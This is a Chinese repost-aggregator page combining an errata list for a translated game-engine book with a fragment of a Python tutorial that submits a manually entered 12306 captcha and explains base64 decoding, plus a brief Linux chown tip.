9.8节第二段第二行两处部析器 -> 剖析器 (多谢读者Snow来函指正) P.738-572: 双数页页眉参考文献 -> 中文索引 P.755-772: 双数页页眉参考文献 -> 英文索引 P.755: kd tree项应归入K而不是Symbols 以上的错误已于第2次印册中修正。第2次印册及之前 P.11: 第四行细致程度 -> 层次细节 (这是level-of-detail/LOD的内地通译，多谢读者OpenGPU来函指正) P.12: 正文第一段及图1.2标题使命之唤 -> 使命召唤 (多谢读者OpenGPU来函指正) P.12: 正文第一段战栗时空 -> 半条命 (多谢读者OpenGPU来函指正) P.16: 第一点表面下散射 -> 次表面散射 (多谢读者OpenGPU来函指正) P.17: 1.4.4节第五行次文化 -> 亚文化 (此译法在内地更常用。多谢读者OpenGPU来函提示) P.22: 战栗时空 -> 半条命 P.24: 战栗时空2 -> 半条命2 P.34: 1.6.8.2节第一行提呈 -> 提交 (这术语在本书其他地方都写作提交。多谢读者OpenGPU来函提示) P.35: 第七行提呈 -> 提交 (这术语在本书其他地方都写作提交。多谢读者OpenGPU来函提示) P.50: 战栗时空2 -> 半条命2 P.365: 第四段第二行: 细致程度 -> 层次细节 P.441: 10.4.3.2节第三行细致程度 -> 层次细节 P.494: sinusiod -> sinusoid (多谢读者OpenGPU来函指正) P.511: 11.10.4节第一行谈入 -> 淡入 (多谢读者Snow来函指正) P.541: 战栗时空2 -> 半条命2 P.627: 战栗时空2 -> 半条命2 P.654: 第二行建康值 -> 血量 (原来是改正错别字，但译者发现应改作前后统一使用的“血量”。多谢读者Snow来函指正) P.692: 第二行内部分式 -> 内部方式 (多谢读者Snow来函指正) P.696: 14.7.6节第四行不设实际 -> 不切实际 (多谢读者Snow来函指正) 以上的错误已于第3次印册中修正。其他意见 P.220: 正文第一段 m_root.m_pElement 和 P.218 第一段代码中的 m_pElem 不统一。原文有此问题，但因为它们是不同的struct，暂不列作错误。 (多谢读者Snow来函提示) P.331: 8.5.8节第二段中 “反覆”较常见的写法为“反复”，但前者也是正确的，暂不列作错误。 (多谢读者Snow来函提示) P.390: 10.1.3.3节静态光照第二段中“取而代之，我们会使用一张光照纹理贴到所有受光源影响范围内的物体上。这样做能令动态物体经过光源时得到正确的光照。” 后面的一句与前句好像难以一起理解。译者认为，作者应该是指，使用同一静态光源去为静态物件生成光照纹理，以及用于动态对象的光照，能使两者的效果维持一致性。译者会考虑对译文作出改善或加入译注解译。（多谢读者店残来函查询） P.689: 第五行并行处理世代 -> 并行处理时代是对era较准确的翻译。 (多谢读者Snow来函提示) 本篇文章为转载内容。原文链接：https://blog.csdn.net/mypongo/article/details/38388381。该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

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open('code2.png','wb')fn.write(codeImage)fn.close() 从验证码图片的左上角 (0,0)codeStr = input('请输入验证码坐标:')headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36'}data = {'answer': codeStr,'rand': 'sjrand','login_site': 'E'}response = req.post('https://kyfw.12306.cn/passport/captcha/captcha-check',data=data,headers=headers)print(response.text)login() base64伪加密根本不算是一种加密算法只不过它的数据看上去更像密文而已 64个字符来表示任意的二进制数据的方法使用 A-Z A-Z 0 - 9 + / 这64个字符进行加密 import base64url = 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= base64.b64decode(url) 返回的是二进制数据print(type(img_data))fn = open('code.png','wb')fn.write(img_data)fn.close()'''我们打开了一个有base64加密的图片数据''' 本篇文章为转载内容。原文链接：https://blog.csdn.net/httpsssss/article/details/116136614。该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

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2023-09-30 17:33:15

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2023-10-03 19:54:37

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2023-02-24 18:15:21

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实践的时候请根据实际情况谨慎操作。

随机学习一条linux命令：

chown user:group file_or_directory - 改变文件或目录的所有者和组。

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